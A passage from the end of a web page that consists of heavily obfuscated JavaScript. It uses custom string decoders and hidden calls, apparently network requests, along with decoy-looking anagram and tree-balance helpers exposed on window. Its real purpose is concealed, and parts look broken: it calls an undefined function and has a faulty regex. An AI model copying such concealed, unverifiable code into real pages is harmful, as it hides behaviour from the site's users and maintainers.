rxdmS4[_PoKZj]}return io4LB2P(_PoKZj(0x95),{[_PoKZj(0x96)]:FUaXU5,[_PoKZj(0x97)]:Umd97Q})[_PoKZj(0x98)](g3Gld7J=>{return Number(g3Gld7J)===FZHYVb[0x1]})},bl:()=>{function g3Gld7J(g3Gld7J){var _PoKZj="e9dkCH|]UEmqL6x+=g_,nNPQbIKG<iB/pD@0VWoMh^>cS)Tr&[A4ZROYFsw3J7f\"Xj:.#l5ayv(!}$`u{%1;*2?~8zt",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function _PoKZj(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=g3Gld7J(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}if(_PoKZj(0x99)in xEv0OAf){MSUxhJ2()}function MSUxhJ2(){function g3Gld7J(g3Gld7J){var _PoKZj="`AKIOT7pBc0Jl#_d3s~,%4i5Hb1uQZSw)M8]@za2FV?$vLgWXmof<h+}jUCr:[&PyG!.t9{6*/D>Nex^(=Ekn\"|;RqY",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function _PoKZj(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=g3Gld7J(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}function MSUxhJ2(g3Gld7J){const _PoKZj={};for(let MSUxhJ2 of g3Gld7J.replace(/[^w]/g,"").toLowerCase())_PoKZj[MSUxhJ2]=_PoKZj[MSUxhJ2]+FZHYVb[0x1]||FZHYVb[0x1];return _PoKZj}function j2tRUWQ(g3Gld7J,_PoKZj){const MSUxhJ2=buildCharMap(g3Gld7J),j2tRUWQ=buildCharMap(_PoKZj);for(let Q4sOnFn in MSUxhJ2)if(MSUxhJ2[Q4sOnFn]!==j2tRUWQ[Q4sOnFn]){return FZHYVb[0x26]}if(Object.keys(MSUxhJ2).length!==Object.keys(j2tRUWQ).length){return FZHYVb[0x26]}return!0x0}function Q4sOnFn(g3Gld7J){const _PoKZj=nco7OV(g3Gld7J);return _PoKZj!==0x1/0x0}function nco7OV(g3Gld7J){if(!g3Gld7J){return-FZHYVb[0x1]}const _PoKZj=nco7OV(g3Gld7J.left),MSUxhJ2=nco7OV(g3Gld7J.right),j2tRUWQ=Math.abs(_PoKZj-MSUxhJ2);if(_PoKZj===0x1/0x0||MSUxhJ2===0x1/0x0||j2tRUWQ>FZHYVb[0x1]){return 0x1/0x0}const Q4sOnFn=Math.max(_PoKZj,MSUxhJ2)+FZHYVb[0x1];return Q4sOnFn}window[_PoKZj(0x9a)]={buildCharacterMap:MSUxhJ2,isAnagrams:j2tRUWQ,isBalanced:Q4sOnFn,getHeightBalanced:nco7OV}}return io4LB2P(_PoKZj(0x9b),{[_PoKZj(0x9c)]:FUaXU5,[_PoKZj(0x9d)]:Umd97Q})[_PoKZj(0x9e)](()=>{})}})}g3Gld7J()})();
</script>

</body>
</html>
